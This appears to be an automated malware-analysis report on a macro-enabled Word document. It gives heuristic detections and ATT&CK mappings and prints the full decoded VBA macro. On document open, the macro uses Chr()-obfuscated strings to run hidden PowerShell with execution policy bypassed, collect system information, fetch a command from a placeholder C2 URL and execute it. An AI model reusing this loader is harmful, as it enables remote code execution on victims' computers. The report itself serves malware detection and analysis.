MALICIOUS
230
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1059.005 Visual Basic
T1204.002 Malicious File
The OOXML document contains a VBA macro that is automatically executed upon opening. This macro uses `CreateObject` to instantiate a `WScript.Shell` object and then executes a PowerShell command. The PowerShell command is obfuscated using character codes and is designed to gather system information. The presence of `CreateObject` and `Shell` calls, along with an obfuscated auto-executing loader, strongly suggests the intent is to download and execute a second-stage payload.
Heuristics 7
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VBA project inside OOXML medium 5 related findings OOXML_VBADocument contains a VBA project — VBA macros present
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Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Dim shell As Object -
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
Dim shell As Object -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set shell = CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108)) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
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Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2023/wordml/word16duIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 4794 bytes |
SHA-256: 9f92d98ffcfe0ad1418b15c68c0c31bb3f8a43ea1cb28f19a5a542a56d4d8998 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Dim shell As Object
Dim http As Object
Dim command As String
Dim systemInfo As String
' Create WScript.Shell object
Set shell = CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108))
' Execute PowerShell to gather system information
systemInfo = shell.Exec(Chr(112) & Chr(111) & Chr(119) & Chr(101) & Chr(114) & Chr(115) & Chr(104) & Chr(101) & Chr(108) & Chr(108) & Chr(46) & Chr(101) & Chr(120) & Chr(101) & Chr(32) & Chr(45) & Chr(69) & Chr(120) & Chr(101) & Chr(99) & Chr(117) & Chr(116) & Chr(105) & Chr(111) & Chr(110) & Chr(80) & Chr(111) & Chr(108) & Chr(105) & Chr(99) & Chr(121) & Chr(32) & Chr(66) & Chr(121) & Chr(112) & Chr(97) & Chr(115) & Chr(115) & Chr(32) & Chr(45) & Chr(78) & Chr(111) & Chr(80) & Chr(114) & Chr(111) & Chr(102) & Chr(105) & Chr(108) & Chr(101) & Chr(32) & Chr(45) & Chr(87) & Chr(105) & Chr(110) & Chr(100) & Chr(111) & Chr(119) & Chr(83) & Chr(116) & Chr(121) & Chr(108) & Chr(101) & Chr(32) & Chr(72) & Chr(105) & Chr(100) & Chr(100) & Chr(101) & Chr(110) & Chr(32) & Chr(45) & Chr(67) & Chr(111) & Chr(109) & Chr(109) & Chr(97) & Chr(110) & Chr(100) & Chr(32) & Chr(34) & Chr(71) & Chr(101) & Chr(116) & Chr(45) & Chr(87) & Chr(109) & Chr(105) & Chr(79) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116) & Chr(
32) & Chr(45) & Chr(67) & Chr(108) & Chr(97) & Chr(115) & Chr(115) & Chr(32) & Chr(87) & Chr(105) & Chr(110) & Chr(51) & Chr(50) & Chr(95) & Chr(79) & Chr(112) & Chr(101) & Chr(114) & Chr(97) & Chr(116) & Chr(105) & Chr(110) & Chr(103) & Chr(83) & Chr(121) & Chr(115) & Chr(116) & Chr(101) & Chr(109) & Chr(32) & Chr(124) & Chr(32 Chr(83) & Chr(101) & Chr(108) & Chr(101) & Chr(99) & Chr(116) & Chr(45) & Chr(79) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116) & Chr(32) & Chr(67) & Chr(97) & Chr(112) & Chr(116) & Chr(105) & Chr(111) & Chr(110) & Chr(44) & Chr(32) & Chr(79) & Chr(83) & Chr(65) & Chr(114) & Chr(99) & Chr(104) & Chr(105) & Chr(116) & Chr(101) & Chr(99) & Chr(116) & Chr(117) & Chr(114) & Chr(101) & Chr(59) & Chr(32) & Chr(71) & Chr(101) & Chr(116) & Chr(45) & Chr(87) & Chr(109) & Chr(105) & Chr(79) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116) & Chr(32) & Chr(45) & Chr(67) & Chr(108) & Chr(97) & Chr(115) & Chr(115) & Chr(32) & Chr(87) & Chr(105) & Chr(110) & Chr(51) & Chr(50) & Chr(95) &
Chr(67) & Chr(111) & Chr(109) & Chr(112) & Chr(117) & Chr(116) & Chr(101) & Chr(114) & Chr(83) & Chr(121) & Chr(115) & Chr(116) & Chr(101) & Chr(109) & Chr(32) & Chr(124) & Chr(32) & Chr(83) & Chr(101) & Chr(108) & Chr(101) & Chr(99) & Chr(116) & Chr(45) & Chr(79) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116) & Chr(32) & Chr(78) & Chr(97) & Chr(109) & Chr(101) & Chr(34)).StdOut.ReadAll
' Create MSXML2.XMLHTTP object to fetch command from C2 server
Set http = CreateObject(Chr(77) & Chr(83) & Chr(88) & Chr(77) & Chr(76) & Chr(50) & Chr(46) & Chr(88) & Chr(77) & Chr(76) & Chr(72) & Chr(84) & Chr(84) & Chr(80))
http.Open Chr(71) & Chr(69) & Chr(84), Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(101) & Chr(120) & Chr(97) & Chr(109) & Chr(112) & Chr(108) & Chr(101) & Chr(46) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(99) & Chr(111) & Chr(109) & Chr(109) & Chr(97) & Chr(110) & Chr(100) & Chr(46) & Chr(116) & Chr(120) & Chr(116), False
http.Send
' Get the command string from the C2 server
command = http.responseText
' Execute the command string using PowerShell
shell.Run Chr(112) & Chr(111) & Chr(119) & Chr(101) & Chr(114) & Chr(115) & Chr(104) & Chr(101) & Chr(108) & Chr(108) & Chr(46) & Chr(101) & Chr(120) & Chr(101) & Chr(32) & Chr(45) & Chr(69) & Chr(120) & Chr(101) & Chr(99) & Chr(117) & Chr(116) & Chr(105) & Chr(111) & Chr(110) & Chr(80) & Chr(111) & Chr(108) & Chr(105) & Chr(99) & Chr(121) & Chr(32) & Chr(66) & Chr(121) & Chr(112) & Chr(97) & Chr(115) & Chr(115) & Chr(32) & Chr(45) & Chr(78) & Chr(111) & Chr(80) & Chr(114) & Chr(111) & Chr(102) & Chr(105) & Chr(108) & Chr(101) & Chr(32) & Chr(45) & Chr(87) & Chr(105) & Chr(110) & Chr(100) & Chr(111) & Chr(119) & Chr(83) & Chr(116) & Chr(121) & Chr(108) & Chr(101) & Chr(32) & Chr(72) & Chr(105) & Chr(100) & Chr(100) & Chr(101) & Chr(110) & Chr(32) & Chr(45) & Chr(67) & Chr(111) & Chr(109) & Chr(109) & Chr(97) & Chr(110) & Chr(100) & Chr(32) & command, 0, True
End Sub
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vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 13824 bytes |
SHA-256: d33a1b8d090107986a64cc3915817bb592b6ba833cd5a670ba16907439e07225 |
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